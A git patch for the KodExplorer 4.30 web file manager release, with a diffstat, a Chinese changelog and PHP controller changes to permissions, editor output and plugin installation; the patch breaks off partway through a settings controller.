From c7e3fdbdb0728777731e044abd9b48010ef73ced Mon Sep 17 00:00:00 2001 From: warlee <824691958@qq.com> Date: Thu, 5 Jul 2018 21:50:52 +0800 Subject: [PATCH] 4.30 release. --- ChangeLog.md | 111 +++ README.md | 5 +- app/api/sso.class.php | 10 +- app/controller/app.class.php | 4 + app/controller/desktop.class.php | 2 +- app/controller/editor.class.php | 19 +- app/controller/explorer.class.php | 67 +- app/controller/pluginApp.class.php | 89 +- app/controller/setting.class.php | 11 +- app/controller/share.class.php | 30 +- app/controller/systemGroup.class.php | 22 +- app/controller/systemMember.class.php | 58 +- app/controller/systemRole.class.php | 22 +- app/controller/user.class.php | 37 +- app/controller/util.php | 4 +- app/core/Application.class.php | 6 +- app/function/common.function.php | 177 ++-- app/function/file.function.php | 180 ++-- app/function/helper.function.php | 19 +- app/function/others/JSON.php | 788 +++++++++++++++ app/function/web.function.php | 40 +- app/kod/.cache_data | 2 - app/kod/FileCache.class.php | 43 +- app/kod/Hook.class.php | 4 +- app/kod/KodArchive.class.php | 3 +- app/kod/Mcrypt.class.php | 6 +- app/kod/PluginBase.class.php | 29 +- app/model/PluginModel.class.php | 9 +- app/template/api/view.html | 3 + app/template/common/footer.html | 2 +- app/template/common/header.html | 22 +- app/template/common/navbar.html | 14 +- app/template/common/showTips.html | 85 ++ app/template/editor/edit.html | 9 +- app/template/explorer/content.html | 92 +- app/template/explorer/explorerWap.html | 28 +- app/template/setting/index.html | 3 + app/template/share/edit.html | 2 +- app/template/share/editor.html | 2 +- app/template/share/explorerWap.html | 23 +- app/template/user/install.html | 9 +- app/template/user/license.html | 17 +- app/template/user/login.html | 27 +- app/template/user/loginWap.html | 7 +- config/config.php | 19 +- config/i18n/ar/main.php | 55 +- config/i18n/bg/main.php | 51 +- config/i18n/bn/main.php | 55 +- config/i18n/ca/main.php | 51 +- config/i18n/cs/main.php | Bin 54238 -> 56587 bytes config/i18n/da/main.php | Bin 52617 -> 54892 bytes config/i18n/de/main.php | 51 +- config/i18n/el/main.php | 51 +- config/i18n/en/main.php | 51 +- config/i18n/es/main.php | 51 +- config/i18n/et/main.php | Bin 51960 -> 54278 bytes config/i18n/fa/main.php | 55 +- config/i18n/fi/main.php | Bin 53328 -> 55613 bytes config/i18n/fr/main.php | 51 +- config/i18n/gl/main.php | 51 +- config/i18n/hi/main.php | 55 +- config/i18n/hr/main.php | Bin 53436 -> 55790 bytes config/i18n/hu/main.php | 51 +- config/i18n/id/main.php | Bin 52820 -> 55083 bytes config/i18n/it/main.php | 51 +- config/i18n/ja/main.php | 55 +- config/i18n/ko/main.php | Bin 55455 -> 57873 bytes config/i18n/lt/main.php | 55 +- config/i18n/nl/main.php | Bin 53933 -> 56266 bytes config/i18n/no/main.php | Bin 52647 -> 54950 bytes config/i18n/pl/main.php | Bin 54807 -> 57186 bytes config/i18n/pt/main.php | 51 +- config/i18n/ro/main.php | 51 +- config/i18n/ru/main.php | 55 +- config/i18n/si/main.php | 55 +- config/i18n/sk/main.php | Bin 54533 -> 56875 bytes config/i18n/sl/main.php | Bin 52646 -> 54926 bytes config/i18n/sr/main.php | 55 +- config/i18n/sv/main.php | Bin 53315 -> 55651 bytes config/i18n/ta/main.php | 55 +- config/i18n/th/main.php | 51 +- config/i18n/tr/main.php | Bin 53322 -> 55716 bytes config/i18n/uk/main.php | 51 +- config/i18n/uz/main.php | Bin 53978 -> 56391 bytes config/i18n/vi/main.php | 113 ++- config/i18n/zh-CN/main.php | 61 +- config/i18n/zh-TW/main.php | 99 +- config/setting.php | 22 +- config/version.php | 2 +- plugins/DPlayer/app.php | 17 + plugins/{googleDocs => DPlayer}/package.json | 75 +- .../DPlayer/static/DPlayer/DPlayer.min.css | 59 ++ plugins/DPlayer/static/DPlayer/DPlayer.min.js | 2 + .../static/DPlayer/lib/dash.all.min.js | 32 + plugins/DPlayer/static/DPlayer/lib/flv.min.js | 7 + plugins/DPlayer/static/DPlayer/lib/hls.min.js | 1 + .../static/DPlayer/lib/webtorrent.min.js | 9 + plugins/DPlayer/static/images/icon.png | Bin 0 -> 3033 bytes plugins/DPlayer/static/main.js | 26 + plugins/DPlayer/static/page.js | 78 ++ plugins/VLCPlayer/package.json | 2 +- plugins/VLCPlayer/static/main.js | 2 +- plugins/adminer/adminer/index.php | 2 + plugins/adminer/package.json | 7 + plugins/googleDocs/app.php | 32 - plugins/googleDocs/i18n/en.php | 7 - plugins/googleDocs/i18n/zh-CN.php | 7 - plugins/googleDocs/static/images/icon.png | Bin 39384 -> 0 bytes plugins/googleDocs/static/main.js | 13 - plugins/imageExif/app.php | 68 ++ plugins/imageExif/i18n/en.php | 7 + plugins/imageExif/i18n/zh-CN.php | 7 + plugins/imageExif/package.json | 26 + plugins/imageExif/static/main.js | 52 + plugins/jPlayer/package.json | 4 +- plugins/jPlayer/static/main.js | 74 +- plugins/jPlayer/static/page.js | 15 +- plugins/officeLive/package.json | 2 +- plugins/officeLive/static/main.js | 2 +- plugins/photoSwipe/package.json | 2 +- plugins/photoSwipe/static/main.js | 5 +- plugins/photoSwipe/static/page.js | 19 +- plugins/picasa/package.json | 2 +- plugins/picasa/static/page.js | 5 + plugins/simpleClock/static/main.js | 2 +- plugins/toolsCommon/static/pie/.pie.tif | 2 + plugins/webodf/app.php | 24 + plugins/webodf/package.json | 48 + plugins/webodf/php/template.php | 33 + plugins/webodf/static/images/screenshot1.png | Bin 0 -> 149879 bytes plugins/webodf/static/images/screenshot2.png | Bin 0 -> 194733 bytes plugins/webodf/static/main.js | 20 + plugins/webodf/static/webodf.js | 895 ++++++++++++++++++ plugins/yzOffice/app.php | 29 +- plugins/yzOffice/i18n/en.php | 2 +- plugins/yzOffice/i18n/zh-CN.php | 2 +- plugins/yzOffice/package.json | 2 +- plugins/yzOffice/php/assign/footer.php | 6 +- plugins/yzOffice/php/assign/header.php | 22 +- plugins/yzOffice/php/template.php | 4 +- plugins/yzOffice/php/yzOffice.class.php | 13 +- plugins/yzOffice/php/yzOffice2.class.php | 49 +- plugins/yzOffice/static/main.js | 2 +- .../images/common/dialog/dialog_loading-.gif | Bin 0 -> 8570 bytes .../images/common/dialog/dialog_loading.gif | Bin 8570 -> 11536 bytes static/images/common/ico.ico | Bin 4286 -> 0 bytes static/images/common/loading_simple.gif | Bin 3489 -> 11536 bytes static/images/common/logo.png | Bin 58046 -> 0 bytes static/images/common/menu_icon@2x.png | Bin 0 -> 175543 bytes .../file_icon/icon_others/folder_mac2.png | Bin 4988 -> 0 bytes .../file_icon/icon_others/folder_win7.png | Bin 6592 -> 0 bytes static/images/wall_page/11.jpg | Bin 153542 -> 153601 bytes static/images/wall_page/7.jpg | Bin 165455 -> 175128 bytes static/images/wall_page/thumb/1.jpg | Bin 1670 -> 0 bytes static/images/wall_page/thumb/10.jpg | Bin 5436 -> 0 bytes static/images/wall_page/thumb/11.jpg | Bin 3660 -> 0 bytes static/images/wall_page/thumb/12.jpg | Bin 3244 -> 0 bytes static/images/wall_page/thumb/13.jpg | Bin 1712 -> 0 bytes static/images/wall_page/thumb/2.jpg | Bin 2154 -> 0 bytes static/images/wall_page/thumb/3.jpg | Bin 3637 -> 0 bytes static/images/wall_page/thumb/4.jpg | Bin 3934 -> 0 bytes static/images/wall_page/thumb/5.jpg | Bin 6910 -> 0 bytes static/images/wall_page/thumb/6.jpg | Bin 2359 -> 0 bytes static/images/wall_page/thumb/7.jpg | Bin 3094 -> 0 bytes static/images/wall_page/thumb/8.jpg | Bin 4902 -> 0 bytes static/images/wall_page/thumb/9.jpg | Bin 2304 -> 0 bytes static/js/app/src/api/default/main.js | 6 +- static/js/app/src/api/view/main.js | 6 +- static/js/app/src/app/main.js | 6 +- static/js/app/src/desktop/main.js | 11 +- static/js/app/src/edit/main.js | 9 +- static/js/app/src/editor/main.js | 9 +- static/js/app/src/explorer/main.js | 11 +- static/js/app/src/explorerWap/main.js | 8 +- static/js/app/src/plugins/main.js | 7 +- static/js/app/src/plugins/tpl/main.js | 2 - static/js/app/src/setting/main.js | 9 +- static/js/app/src/shareEditor/main.js | 8 +- static/js/app/src/shareExplorer/main.js | 11 +- static/js/app/src/shareIndex/main.js | 7 +- static/js/app/src/user/main.js | 6 +- static/js/lib/ace/src-min-noconflict/ace.js | 4 +- .../ace/src-min-noconflict/ext-beautify.js | 409 +++++++- static/js/lib/artDialog/jquery-artDialog.js | 55 +- static/js/lib/jquery-lib.js | 15 +- static/js/lib/util.js | 302 +++--- .../style/font-awesome/css/font-awesome.css | 2 +- static/style/login.css | 4 +- static/style/skin/alpha_image.css | 4 +- static/style/skin/alpha_image_sky.css | 4 +- static/style/skin/alpha_image_sun.css | 4 +- static/style/skin/base/app_code_edit.css | 8 +- static/style/skin/base/app_desktop.css | 10 +- static/style/skin/base/app_editor.css | 8 +- static/style/skin/base/app_explorer.css | 10 +- static/style/skin/base/app_setting.css | 8 +- static/style/skin/base/common.css | 1 + static/style/skin/base/fileIcon.css | 1 + static/style/skin/diy.css | 4 +- static/style/skin/mac.css | 4 +- static/style/skin/metro.css | 4 +- static/style/skin/metro_green.css | 4 +- static/style/skin/metro_orange.css | 4 +- static/style/skin/metro_pink.css | 4 +- static/style/skin/metro_purple.css | 4 +- static/style/skin/win10.css | 4 +- static/style/skin/win7.css | 4 +- static/style/wap/app_explorer.css | 773 +++++++++++++-- static/style/wap/login.css | 16 +- 209 files changed, 6052 insertions(+), 1283 deletions(-) create mode 100755 app/function/others/JSON.php delete mode 100755 app/kod/.cache_data create mode 100755 app/template/common/showTips.html create mode 100755 plugins/DPlayer/app.php rename plugins/{googleDocs => DPlayer}/package.json (50%) create mode 100755 plugins/DPlayer/static/DPlayer/DPlayer.min.css create mode 100755 plugins/DPlayer/static/DPlayer/DPlayer.min.js create mode 100755 plugins/DPlayer/static/DPlayer/lib/dash.all.min.js create mode 100755 plugins/DPlayer/static/DPlayer/lib/flv.min.js create mode 100755 plugins/DPlayer/static/DPlayer/lib/hls.min.js create mode 100755 plugins/DPlayer/static/DPlayer/lib/webtorrent.min.js create mode 100755 plugins/DPlayer/static/images/icon.png create mode 100755 plugins/DPlayer/static/main.js create mode 100755 plugins/DPlayer/static/page.js delete mode 100755 plugins/googleDocs/app.php delete mode 100755 plugins/googleDocs/i18n/en.php delete mode 100755 plugins/googleDocs/i18n/zh-CN.php delete mode 100755 plugins/googleDocs/static/images/icon.png delete mode 100755 plugins/googleDocs/static/main.js create mode 100755 plugins/imageExif/app.php create mode 100755 plugins/imageExif/i18n/en.php create mode 100755 plugins/imageExif/i18n/zh-CN.php create mode 100755 plugins/imageExif/package.json create mode 100755 plugins/imageExif/static/main.js create mode 100755 plugins/toolsCommon/static/pie/.pie.tif create mode 100755 plugins/webodf/app.php create mode 100755 plugins/webodf/package.json create mode 100755 plugins/webodf/php/template.php create mode 100755 plugins/webodf/static/images/screenshot1.png create mode 100755 plugins/webodf/static/images/screenshot2.png create mode 100755 plugins/webodf/static/main.js create mode 100755 plugins/webodf/static/webodf.js create mode 100755 static/images/common/dialog/dialog_loading-.gif delete mode 100755 static/images/common/ico.ico delete mode 100755 static/images/common/logo.png create mode 100755 static/images/common/menu_icon@2x.png delete mode 100755 static/images/file_icon/icon_others/folder_mac2.png delete mode 100755 static/images/file_icon/icon_others/folder_win7.png delete mode 100755 static/images/wall_page/thumb/1.jpg delete mode 100755 static/images/wall_page/thumb/10.jpg delete mode 100755 static/images/wall_page/thumb/11.jpg delete mode 100755 static/images/wall_page/thumb/12.jpg delete mode 100755 static/images/wall_page/thumb/13.jpg delete mode 100755 static/images/wall_page/thumb/2.jpg delete mode 100755 static/images/wall_page/thumb/3.jpg delete mode 100755 static/images/wall_page/thumb/4.jpg delete mode 100755 static/images/wall_page/thumb/5.jpg delete mode 100755 static/images/wall_page/thumb/6.jpg delete mode 100755 static/images/wall_page/thumb/7.jpg delete mode 100755 static/images/wall_page/thumb/8.jpg delete mode 100755 static/images/wall_page/thumb/9.jpg delete mode 100755 static/js/app/src/plugins/tpl/main.js create mode 100755 static/style/skin/base/common.css create mode 100755 static/style/skin/base/fileIcon.css diff --git a/ChangeLog.md b/ChangeLog.md index 186f670..b135647 100755 --- a/ChangeLog.md +++ b/ChangeLog.md @@ -1,3 +1,114 @@ +### ver4.30 `2018/07/05` +----- +#### update: +- 文件管理 + - 并发读写文件数据异常问题解决 + - 选中文件,自动出现快捷操作工具栏 + - icon列表模式,排序方式菜单按钮 + - 扩展名限制自动处理 + - 文档排序自然排序数字优化 + - 文件名结尾为空格时处理:文件操作、列表图标等处理 + - 正序倒序文件夹都在前面; + - 新建文件、文件夹;根据语言自动命名。 + - 新建office文档直接放在右键中;去除无关扩展名新建 【新建Word/Excle/PowerPoint 文档】 + - 优化所有文件小图标显示:文件列表、右键菜单、对话框标题、标签栏图标等 + - 文件、文件夹属性优化:文件大小优化,非管理员隐藏真实权限相关内容 + - 新建文件和新建文件夹时,不输入文件名称,提示创建文件/文件夹成功,实际上目录下未出现文件夹/文件 + - 文件搜索样式、筛选逻辑优化 +- 系统及用户管理优化 + - 壁纸管理优化:登陆背景管理、桌面壁纸管理; + - 记住密码优化本地存储;登陆密码传输加密 + - 用户管理支持批量设置用户空间大小 + - 用户昵称支持; + - 用户新建修改;部门新建修改、部门权限组新建修改、部门新建修改;名称不能为空格 + - 设置部门优化: 部门只展开第一层级;设置用户部门自动展开到对应层级 + - 部门编辑,添加自己到子部门排除检测; + - 系统管理员角色设置,隐藏设置项 + - 权限细节优化;部门下载权限,屏蔽相关入口(浏览器打开,zip文件内容下载) + - 批量添加用户有重复时,列表自动刷新处理; +- 上传优化: + - 文件分片上传速度优化 + - 上传对话框关闭继续后台上传,上传完成自动隐藏对话框 + - 上传是否成功大小校验,空文件上传处理,报错提示及报错相关优化。 + - 权限前置判断:没有部门上传权限提前判断,空间不足提前判断 + - 文件夹上传,部分文件上传到文件夹外面的问题; + - 文件大小为0时目录不存在则自动处理; +- 分享优化: + - 分享页面等打开方式统一优化处理,移动端打开方式按优先级处理;移动端office打开方式优化处理 + - 分享页面打印样式优化,针对文本、markdown专门处理 + - 加密码分享内容内部成员不可见; + - 系统设置关闭用户列表则不展示用户分享数据; + - 文件夹分享设置可上传,移动端没有上传处理 + - 分享文件重名时,文件预览打开方式关联失败;分享禁用下载时隐藏下载按钮;分享office支持onlyoffice预览; + - 移动端打开需要密码的分享页面,输入密码问题;微信中图片分享优化; + - 分享创建优化;加入快速复制分享链接;保存后自动关闭 +- 编辑器优化: + - 新增开发相关实用工具:插入时间;繁简转换;base64编解码;URL编解码;文字选中生成二维码;md5等 + - 新增自由计算功能(实时编译执行)。 + - 编辑器打开文件,编辑器对话框置顶; + - 编辑器着色优化;php格式化太长时优化处理。 + - 编辑器底部显示文件编码,点击切换、修改编码 + - 授权版:编辑器帮助中隐藏: 关于,了解更多 + - php格式化优化; + - markdown编辑右侧工具栏菜单展开按钮点击自动显示隐藏; + - markdown优化:打印样式处理;标题标签自动加入锚点跳转(分享页面、下载html统一处理) + - 编辑器自动保存支持;配置开关 + - 其他优化:tab新增右键新窗口打开;新打开时不显示帮助,入口可加到工具栏 +- API 功能接口增强 + - 文件选择API优化:自动筛选符合选择的内容(同时支持双击打开、右键操作);移动端优化;返回值功能增强 + - 支持通过用户名获取用户信息。 + - 通用文件预览组件,预览未知文件处理; + - hook绑定点加入show_json; +- 插件增强及优化 + - 插件更新红点提示,新增一键更新 + - 插件安装更新链接请求走后端,提升安全性 + - 插件安装卸载权限加入权限体系 + - ofd,djvu 文件格式支持在线预览。客户端实时渲染,支持文本选中复制。 + - 视频播放器新增内置Dplayer;体验优化,支持弹幕、支持自动挂载字幕; + - PSD/AI 等文件在线预览;视频缩略图生成;中文路径兼容linux,windows;检测问题提示;可执行文件可以手动指定; + - 永中officedoc预览大纲,打印;样式优化;点聚office编辑保存生成历史版本记录 + - 音乐播放有概率出现.mp3格式的音乐无法播放的情况,一直在缓冲中,重启打开一次后,音乐正常播放 + - office配置自适应ip、端口处理 + - 插件重新启用(或升级);配置数据还原的问题 + - PSD在线预览插件优化;安装部署教程 + - 域账户插件:支持数据库存储;默认存储 +- 其他优化: + - 界面样式诸多细节优化 + - 回收站文件右键菜单处理; + - 右键菜单小图标样式优化; + - 宽度不足时不显示文件选中时快捷菜单。 + - json_encode/json_decode 服务器兼容; + - 页面加载、对话框加载loading处理优化 + - nginx自目录绑定相关url不一致问题兼容;nginx反向代理端口、url等跳转问题兼容 + - 优化对话框弹出层,iframe全屏调用问题 + - 对话框中iframe加载持续未完成loading自动隐藏处理 + - 一键清理Win中文乱码问题,清空位置完善 + - 移动端菜单中加入剪切功能; + - https 优化; + +#### fix bug +- 搜索界面文件类型筛选条件不生效,筛选gif搜索了其他类型文件,文件类型筛选条件未生效 +- 新建部门创建文件夹从配置读取失败问题; +- 移动端上传取消提示文字优化 +- 编辑器对话框,未保存文件关闭提示; +- 多选打开文件,进入了打开方式 +- 移动端音乐播放界面最小化后,无法快速的恢复到窗口模式 +- 插件设置多次打开保存配置失败问题解决 +- 搜索文件内容报错问题,程序信息不显示任务栏,文件属性项目加入标记,文字修改:登陆==>登录; +- DIY主题样式显示问题; +- 搜索路径为空时优化处理,搜索文件内容json输出时乱码问题解决; +- 勾选用户所在部门窗口,权限组名长导致换行问题,支持放大缩小。 +- dockeroffice 重启脚本优化 +- 视频、psd等缩略图浏览器缓存处理 +- 浏览器兼容处理: + - Edge 浏览器样式优化处理 + - IE上传下拉菜单——上传文件item被隐藏了 + - IE上传进度条不匹配百分比问题 + - IE第二次双击打开视频,出现“没有支持此文件的应用” + - ios系统safari登录问题优化 + + + ### ver4.25 `2017/12/01` ----- #### update: diff --git a/README.md b/README.md index 3e4d302..bdf7579 100755 --- a/README.md +++ b/README.md @@ -1,6 +1,6 @@ # KodExplorer -[![Home page](https://img.shields.io/badge/home-page-yellow.svg?style=flat)](http://kodcloud.com) [![GPLV3 License](https://img.shields.io/badge/Licence-GPLV3-green.svg?style=flat)](http://kodcloud.com) [![Download](http://kodcloud.com/tools/version/?analyze/download)](https://github.com/kalcaddle/KODExplorer/archive/master.zip) +[![Home page](https://img.shields.io/badge/home-page-yellow.svg?style=flat)](http://kodcloud.com) [![GPLV3 License](https://img.shields.io/badge/Licence-GPLV3-green.svg?style=flat)](http://kodcloud.com) [![Download](http://api.kodcloud.com/?analyze/download)](https://github.com/kalcaddle/KODExplorer/archive/master.zip) > KodExplorer is a file manager for web. It is also a web code editor, which allows you to develop websites directly within the web browser.You can run KodExplorer either online or locally,on Linux, Windows or Mac based platforms. The only requirement is to have PHP 5 available. @@ -11,8 +11,7 @@ ### [Demo](http://demo.kodcloud.com/) [user: demo/demo] ----- - [Change log](./ChangeLog.md) -- [English Document](http://kodcloud.com#lang=en) -- [中文文档](http://kodcloud.com/#lang=zh_CN) +- [Document/开发文档](http://doc.kodcloud.com/) - [Donate](https://www.paypal.me/kalcaddle) ### Source code diff --git a/app/api/sso.class.php b/app/api/sso.class.php index fe9e9ea..4fc54cc 100755 --- a/app/api/sso.class.php +++ b/app/api/sso.class.php @@ -1,6 +1,10 @@ config['settingSystem']['desktopFolder']){ + return; + } $list = $this->sql->get(); $newUserApp = $this->config['settingSystem']['newUserApp']; $default = explode(',',$newUserApp); diff --git a/app/controller/desktop.class.php b/app/controller/desktop.class.php index 8374368..62acc1f 100755 --- a/app/controller/desktop.class.php +++ b/app/controller/desktop.class.php @@ -14,7 +14,7 @@ class desktop extends Controller{ $wap = is_wap() && (!isset($_COOKIE['forceWap']) || $_COOKIE['forceWap'] == '1'); $desktopApps = include(DATA_PATH.'system/desktop_app.php'); $wall = $this->config['user']['wall']; - if(strlen($wall)<3){ + if( !strstr($wall,'/') ){ $wall = STATIC_PATH.'images/wall_page/'.$wall.'.jpg'; } diff --git a/app/controller/editor.class.php b/app/controller/editor.class.php index 2de5fd4..f9ab92d 100755 --- a/app/controller/editor.class.php +++ b/app/controller/editor.class.php @@ -72,14 +72,14 @@ class editor extends Controller{ if (!path_readable($filepath)){ show_json(LNG('no_permission_read_all'),false); } - if (filesize($filepath) >= 1024*1024*40){ + if (filesize($filepath) >= 1024*1024*20){ show_json(LNG('edit_too_big'),false); } } $fileContents=file_get_contents($filepath);//文件内容 //echo $fileContents;exit; - if(isset($this->in['charset'])){ + if(isset($this->in['charset']) && $this->in['charset']){ $charset = strtolower($this->in['charset']); }else{ $charset = get_charset($fileContents); @@ -95,20 +95,9 @@ class editor extends Controller{ 'name' => iconv_app(get_path_this($displayName)), 'filename' => $displayName, 'charset' => $charset, - 'base64' => false, - 'content' => $fileContents + 'base64' => true,// 部分防火墙编辑文件误判问题处理 + 'content' => base64_encode($fileContents) ); - // 部分防火墙编辑文件误判问题处理 - //if(!json_encode(array("data"=>$fileContents))){ - $data['content'] = base64_encode($fileContents); - $data['base64'] = true; - //} - - // $data['size_before'] = filesize($filepath); - // $data['size_after'] = strlen($fileContents); - // $data['hex_before'] = bin2hex(file_get_contents($filepath)); - // $data['hex_after'] = bin2hex($fileContents); - // $data['content_before'] = $fileContents; show_json($data); } public function fileSave(){ diff --git a/app/controller/explorer.class.php b/app/controller/explorer.class.php index 212afc8..af8e12c 100755 --- a/app/controller/explorer.class.php +++ b/app/controller/explorer.class.php @@ -29,7 +29,7 @@ class explorer extends Controller{ public function index(){ $dir = ''; if(isset($this->in['path']) && $this->in['path'] !=''){ - $dir = _DIR_CLEAR($_GET['path']); + $dir = _DIR_CLEAR($this->in['path']); $dir = rtrim($dir,'/').'/'; } $this->assign('dir',$dir); @@ -81,6 +81,10 @@ class explorer extends Controller{ isset($this->in['viewPage'])){ $data['downloadPath'] = _make_file_proxy($file); } + //所在部门,下载权限检测 + if($GLOBALS['kodPathRoleGroupAuth'] && !$GLOBALS['kodPathRoleGroupAuth']['explorer.fileDownload']){ + unset($data['downloadPath']); + } if($data['size'] < 100*1024|| isset($this->in['getMd5'])){//100kb $data['fileMd5'] = @md5_file($file); }else{ @@ -130,6 +134,10 @@ class explorer extends Controller{ $repeatType = $this->in['repeat_type']; } $new= rtrim($this->path,'/'); + $parent = get_path_father($this->path); + if(!file_exists($parent)){ + mk_dir($parent); + } $new = get_filename_auto($new,'',$repeatType);//已存在处理 创建副本 Hook::trigger("explorer.mkfileBefore",$new); if(@touch($new)){ @@ -285,22 +293,21 @@ class explorer extends Controller{ } } - //用户根目录 + //部门根目录 private function _selfGroupLoad(&$root){ foreach ($root as $key => $value) { - if($value['name'] == 'share'){ + if($value['name'] == $GLOBALS['config']['settingSystem']['groupShareFolder']){ $root[$key] = array( - 'name' => LNG('group_share'), - 'menuType' => "menu-folder folder-box", - 'ext' => "folder-share", - 'isParent' => true, + 'name' => LNG('group_share'), + 'menuType' => "menu-folder folder-box", + 'ext' => "folder-share", 'isReadable' => true, 'isWriteable' => true, - 'path' => KOD_GROUP_PATH.':'.$GLOBALS['kodPathId'].'/share/', - 'type' => 'folder', - 'open' => false, - 'isParent' => false + 'path' => $value['path'], + 'type' => 'folder', + 'open' => false, + 'isParent' => $value['isParent'] ); break; } @@ -404,7 +411,6 @@ class explorer extends Controller{ 'isParent' => count($project)>0?true:false) ); show_json($treeData); - return; } $checkFile = ($app == 'editor'?true:false); $fav = $this->_treeFav($app); @@ -526,6 +532,13 @@ class explorer extends Controller{ show_json($result); } + private function _rootListGroup(){ + return $this->config['settingSystem']['rootListGroup'] == 1; + } + private function _rootListUser(){ + return $this->config['settingSystem']['rootListUser'] == 1; + } + //session记录用户可以管理的组织;继承关系 private function _groupTree($nodeId){//获取组织架构的用户和子组织;为空则获取根目录 $groupSql = systemGroup::loadData(); @@ -533,11 +546,11 @@ class explorer extends Controller{ $groupList = $this->_makeNodeList($groups); //根群组不显示子群组 - if( $nodeId == '1' && !$this->config['settingSystem']['rootListGroup']){ + if( $nodeId == '1' && !$this->_rootListGroup() ){ $groupList = array(); } //根群组不显示用户 - if( $nodeId == '1' && !$this->config['settingSystem']['rootListUser']){ + if( $nodeId == '1' || !$this->_rootListUser() ){ return $groupList; } @@ -589,8 +602,10 @@ class explorer extends Controller{ $treeIcon = 'group-self'; } $hasChildren = true; - $userList = systemMember::userAtGroup($val['groupID']); - + $userList = array(); + if( $this->_rootListUser() ){ + $userList = systemMember::userAtGroup($val['groupID']); + } if(count($userList)==0 && $val['children']==''){ $hasChildren = false; } @@ -888,7 +903,7 @@ class explorer extends Controller{ Hook::trigger("explorer.pathRemoveBefore",$path,false); del_file($path); - Hook::trigger("explorer.pathRemoveAfter",$path); + //Hook::trigger("explorer.pathRemoveAfter",$path); } public function zipDownload(){ $userTemp = iconv_system(USER_TEMP); @@ -1027,7 +1042,8 @@ class explorer extends Controller{ exit; } if (@filesize($this->path) <= 1024*50 || - !function_exists('imagecolorallocate') ) {//小于50k或者不支持gd库 不再生成缩略图 + !function_exists('imagecolorallocate') || + get_path_ext($this->path) == 'gif') {//小于50k、不支持gd库、gif图 不再生成缩略图 file_put_out($this->path,false); return; } @@ -1155,9 +1171,11 @@ class explorer extends Controller{ $fullPath = _DIR_CLEAR(rawurldecode($this->in['fullPath'])); $fullPath = get_path_father($fullPath); $fullPath = iconv_system($fullPath); - if ($this->_mkdir($savePath.$fullPath)) { - $savePath = $savePath.$fullPath; - } + $savePath = $savePath.$fullPath; + mk_dir($savePath); + // if ($this->_mkdir($savePath.$fullPath)) { + // $savePath = $savePath.$fullPath; + // } } //分片上传 $repeatAction = $this->config['user']['fileRepeat']; @@ -1170,7 +1188,12 @@ class explorer extends Controller{ //分享根目录 private function _pathShare(&$list){ $arr = explode(',',$GLOBALS['kodPathId']); - $shareList = systemMember::userShareList($arr[0]); + + //不展示用户时;屏蔽获取其他人分享列表 + if( $arr[0] != $_SESSION['kodUser']['userID'] && !$this->_rootListUser()){ + return; + } + $shareList = systemMember::userShareList($arr[0]); $beforeShareId = $GLOBALS['kodPathIdShare']; foreach ($shareList as $key => $value) { $thePath = _DIR(KOD_USER_SHARE.':'.$arr[0].'/'.$value['name']); diff --git a/app/controller/pluginApp.class.php b/app/controller/pluginApp.class.php index 5b77be9..64e9b5e 100755 --- a/app/controller/pluginApp.class.php +++ b/app/controller/pluginApp.class.php @@ -27,12 +27,18 @@ class pluginApp extends Controller{ } $model = $this->loadModel('Plugin'); if(!$model->checkAuth($app)){ - show_tips("Plugin not open,or you have't permission[".$app."]"); + if(!$_SESSION['kodLogin']){ + show_tips("出错了!您尚未登录",APP_HOST,3); + } + show_tips("出错了!插件未开启,或您没有{$app}插件的权限"); } $appConfig = $model->getConfig($app); if(!$appConfig['pluginAuthOpen'] && !$this->checkAccessPlugin()){ - show_tips("Sorry! You have't permission[".$app."]"); + if(!$_SESSION['kodLogin']){ + show_tips("出错了!您尚未登录",APP_HOST,3); + } + show_tips("出错了!插件未开启,或您没有{$app}插件的权限"); } Hook::apply($app.'Plugin.'.$action); } @@ -73,7 +79,7 @@ class pluginApp extends Controller{ public function changeStatus(){ if( !isset($this->in['app']) || !isset($this->in['status'])){ - show_json(LNG('error'),false); + show_json(LNG('data_not_full'),false); } $app = $this->in['app']; $status = $this->in['status']?1:0; @@ -97,7 +103,7 @@ class pluginApp extends Controller{ show_json('needConfig',false); } } - $model->changeStatus($app,$this->in['status']); + $model->changeStatus($app,$status); $list = $model->viewList(); show_json($list); } @@ -105,7 +111,7 @@ class pluginApp extends Controller{ public function setConfig(){ if( !$this->in['app'] || !$this->in['value']){ - show_json(LNG('error'),false); + show_json(LNG('data_not_full'),false); } $json = $this->in['value']; $app = $this->in['app']; @@ -124,13 +130,82 @@ class pluginApp extends Controller{ show_json(LNG('success')); } - //install [download=>unzip=>regiest,install=>changeStatus] + // download=>fileSize=>unzip=>remove public function install(){ + $app = _DIR_CLEAR($this->in['app']); + $appPath = PLUGIN_DIR.$app.'.zip'; + $appPathTemp = $appPath.'.downloading'; + switch($this->in['step']){ + case 'check': + $info = $this->pluginInfo($app); + if(!is_array($info)){ + show_json(false,false); + } + echo json_encode($info); + break; + case 'download': + if(!is_writable(PLUGIN_DIR)){ + show_json(LNG("no_permission_write").': '.PLUGIN_DIR,false); + } + $info = $this->pluginInfo($app); + if(!$info || !$info['code']){ + show_json(LNG('error'),false); + } + $result = Downloader::start($info['data'],$appPath); + show_json($result['data'],!!$result['code'],$app); + break; + case 'fileSize': + if(file_exists($appPath)){ + show_json(filesize($appPath)); + } + if(file_exists($appPathTemp)){ + show_json(filesize($appPathTemp)); + } + show_json(0,false); + break; + case 'unzip': + //hook log + $GLOBALS['isRoot'] = 1; + if(!file_exists($appPath)){ + show_json(LNG("error"),false); + } + $result = KodArchive::extract($appPath,PLUGIN_DIR.$app.'/'); + del_file($appPathTemp); + del_file($appPath); + show_json($result['data'],!!$result['code']); + break; + case 'remove': + del_file($appPathTemp); + del_file($appPath); + show_json(LNG('success')); + break; + case 'update': + show_json(Hook::apply($app.'Plugin.update')); + break; + default:break; + } + } + private function pluginInfo($app){ + $api = $this->config['settings']['pluginServer'].'plugin/install'; + $param = array( + "app" => $app, + "version" => KOD_VERSION, + "versionHash" => $this->config['settingSystem']['versionHash'], + "systemOS" => $this->config['systemOS'], + "phpVersion" => PHP_VERSION, + "lang" => I18n::getType() + ); + $info = url_request($api,'POST',$param); + $result = false; + if($info && $info['data']){ + $result = json_decode($info['data'],true); + } + return $result; } public function unInstall(){ if( !$this->in['app']){ - show_json(LNG('error'),false); + show_json(LNG('data_not_full'),false); } $model = $this->loadModel('Plugin'); $model->remove($this->in['app']); diff --git a/app/controller/setting.class.php b/app/controller/setting.class.php index eac2572..b07aa84 100755 --- a/app/controller/setting.class.php +++ b/app/controller/setting.class.php @@ -32,8 +32,10 @@ class setting extends Controller{ case 'theme': case 'wall': show_json(array( - 'settingAll' => 